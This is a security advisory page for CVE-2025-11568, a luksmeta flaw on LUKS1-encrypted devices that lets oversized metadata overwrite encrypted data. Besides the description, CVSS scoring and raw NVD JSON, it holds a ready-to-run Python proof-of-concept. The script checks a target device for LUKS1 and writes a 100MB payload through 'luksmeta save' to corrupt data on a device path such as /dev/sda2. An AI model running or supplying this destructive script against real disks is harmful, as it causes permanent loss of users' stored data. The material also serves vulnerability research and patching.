Security Vulnerability Report
中文
CVE-2025-11568 CVSS 4.4 MEDIUM

CVE-2025-11568

Published: 2025-10-15 20:15:34
Last Modified: 2026-05-19 16:16:18

Description

A data corruption vulnerability has been identified in the luksmeta utility when used with the LUKS1 disk encryption format. An attacker with the necessary permissions can exploit this flaw by writing a large amount of metadata to an encrypted device. The utility fails to correctly validate the available space, causing the metadata to overwrite and corrupt the user's encrypted data. This action leads to a permanent loss of the stored information. Devices using the LUKS formats other than LUKS1 are not affected by this issue.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

luksmeta(所有使用LUKS1格式的版本,具体受影响版本请参考Red Hat安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-11568 PoC - luksmeta LUKS1 Data Corruption This PoC demonstrates the data corruption vulnerability in luksmeta when used with LUKS1 disk encryption format. Note: This requires local high-privilege access to the system. """ import subprocess import struct import os import sys def check_luks1_device(device_path): """Check if the target device is using LUKS1 format""" try: result = subprocess.run( ['cryptsetup', 'luksDump', device_path], capture_output=True, text=True, timeout=10 ) if result.returncode == 0 and 'LUKS1' in result.stdout: return True return False except Exception as e: print(f"Error checking device: {e}") return False def exploit_luksmeta_corruption(device_path, metadata_size_mb=100): """ Exploit the luksmeta vulnerability by writing oversized metadata that exceeds the available header space, causing data corruption. """ if not check_luks1_device(device_path): print(f"[-] Device {device_path} is not LUKS1 format. Not vulnerable.") return False print(f"[*] Target device {device_path} confirmed as LUKS1 format") print(f"[*] Preparing oversized metadata payload ({metadata_size_mb}MB)...") # Generate a large metadata payload that exceeds the LUKS1 header space # LUKS1 header area is approximately 2MB, luksmeta uses space after it payload_size = metadata_size_mb * 1024 * 1024 # Convert to bytes payload = b'\x00' * payload_size # Write temporary metadata file metadata_file = '/tmp/luksmeta_exploit_payload.bin' with open(metadata_file, 'wb') as f: f.write(payload) print(f"[*] Payload size: {payload_size} bytes") print(f"[*] Attempting to write oversized metadata via luksmeta...") # Use luksmeta save to write the oversized metadata # This will overwrite encrypted data beyond the metadata area cmd = [ 'luksmeta', 'save', '-d', device_path, '--uuid', 'a1b2c3d4-e5f6-7890-abcd-ef1234567890', '-s', '1', # slot 1 metadata_file ] try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) if result.returncode == 0: print("[+] Metadata written successfully") print("[!] Data corruption has occurred - encrypted data has been overwritten!") return True else: print(f"[-] Write failed: {result.stderr}") return False except Exception as e: print(f"[-] Exploit error: {e}") return False finally: # Cleanup temporary file if os.path.exists(metadata_file): os.remove(metadata_file) if __name__ == '__main__': if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <luks1_device_path>") print(f"Example: {sys.argv[0]} /dev/sda2") sys.exit(1) device = sys.argv[1] print("=" * 60) print("CVE-2025-11568 - luksmeta LUKS1 Data Corruption PoC") print("WARNING: This will cause permanent data loss!") print("=" * 60) exploit_luksmeta_corruption(device)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11568", "sourceIdentifier": "[email protected]", "published": "2025-10-15T20:15:34.007", "lastModified": "2026-05-19T16:16:17.673", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A data corruption vulnerability has been identified in the luksmeta utility when used with the LUKS1 disk encryption format. An attacker with the necessary permissions can exploit this flaw by writing a large amount of metadata to an encrypted device. The utility fails to correctly validate the available space, causing the metadata to overwrite and corrupt the user's encrypted data. This action leads to a permanent loss of the stored information. Devices using the LUKS formats other than LUKS1 are not affected by this issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2025:23086", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:18421", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:18824", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-11568", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2404244", "source": "[email protected]"}, {"url": "https://github.com/latchset/luksmeta/pull/16", "source": "[email protected]"}]}}